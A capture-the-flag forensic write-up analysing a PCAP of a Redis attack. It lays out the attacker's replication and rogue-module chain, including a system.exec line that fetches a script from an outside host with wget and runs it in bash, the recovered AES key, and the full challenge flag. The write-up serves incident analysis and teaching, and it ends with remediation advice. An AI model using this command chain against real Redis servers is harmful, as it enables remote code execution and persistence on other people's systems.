HTB Red — CTF Writeup

Overview

Red was a forensic challenge centered on suspicious activity against a password-protected Redis instance. The challenge note warned that the flag was composed of three parts, which guided the investigation: look for separate evidence fragments rather than a single obvious string.

The PCAP ultimately showed a Redis replication/module abuse chain and encrypted command-output channel.

PCAP Triage

The archive contained an encrypted PCAP:

capture.pcap

After extraction with the standard HTB password, protocol profiling showed Redis traffic on 6379 plus HTTP staging from:

files.pypi-install.com

Useful forensic commands included conversation profiling, TCP stream following, and Redis command extraction via tshark.

Redis Attack Path

The Redis stream showed the attacker authenticated, converted the target into a replica, wrote a shared object to disk, and loaded it as a Redis module.

AUTH ...
SLAVEOF 10.10.0.15 6379
CONFIG SET DIR /data
CONFIG SET dbfilename x10SPFHN.so
MODULE LOAD ./x10SPFHN.so
SLAVEOF NO ONE
CONFIG SET dbfilename dump.rdb
system.exec rm -v ./x10SPFHN.so
system.exec uname -a
system.exec wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3
MODULE UNLOAD system

Impact: password protection did not prevent compromise once credentials were known. Redis module loading enabled arbitrary code execution inside the Redis process context.

HTTP Payload

An HTTP payload was fetched from:

http://files.pypi-install.com/packages/VgLy8V0Zxo

The script was obfuscated through shell variable/eval layers. It was decoded statically, without executing it. The deobfuscated behavior included appending an SSH key for persistence and staging additional commands.

The SSH key append payload contained the first flag fragment.

Rogue Module Analysis

The Redis replication stream contained the malicious shared object. It was carved as:

redis_module.so

Module hash:

6f759697b476123dd708c2c2d39c91b245701488dabba10cc836c365cb567906

Exported symbols included:

RedisModule_OnLoad
DoCommand

The module registered a Redis command:

system.exec

Disassembly showed use of popen and OpenSSL AES routines. The command output was encrypted before being sent back over Redis. The AES parameters recovered from the module were:

key = h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz
iv  = YDP7ECjzuV7sagMN

Captured hex ciphertext responses were decrypted with AES-256-CBC to recover command output and the final flag fragment.

Flag Parts

The challenge specified three parts, and they were recovered from three separate places:

Part	Source	Recovered Text
1	Decoded HTTP staged shell payload / SSH key append	`HTB{r3d15_1n574nc35`
2	Redis replicated key/value data	`_c0uld_0p3n_n3w`
3	Decrypted `system.exec` command output	`_un3xp3c73d_7r41l5!}`

Assembled:

HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}

Incident Timeline

Attacker authenticates to Redis.
Attacker uses Redis replication to transfer a malicious .so module.
Redis writes the module to disk using CONFIG SET DIR and dbfilename.
Attacker loads the rogue module with MODULE LOAD.
The module exposes system.exec for command execution.
Command results are encrypted with AES-CBC and returned through Redis.
Attacker fetches a shell payload from a package-looking domain.
Payload establishes persistence via SSH key and additional shell activity.
Attacker unloads/removes the module to reduce obvious traces.

Remediation

Rotate Redis credentials and investigate how the password was obtained.
Disable or tightly restrict MODULE LOAD, CONFIG, and replication commands where possible.
Bind Redis to trusted interfaces only; avoid public exposure.
Review filesystem for rogue .so files, temporary payloads, modified SSH keys, and MOTD/profile hooks.
Hunt for outbound requests to suspicious package-looking domains.
Collect process, shell history, Redis logs, and persistence artifacts before cleanup.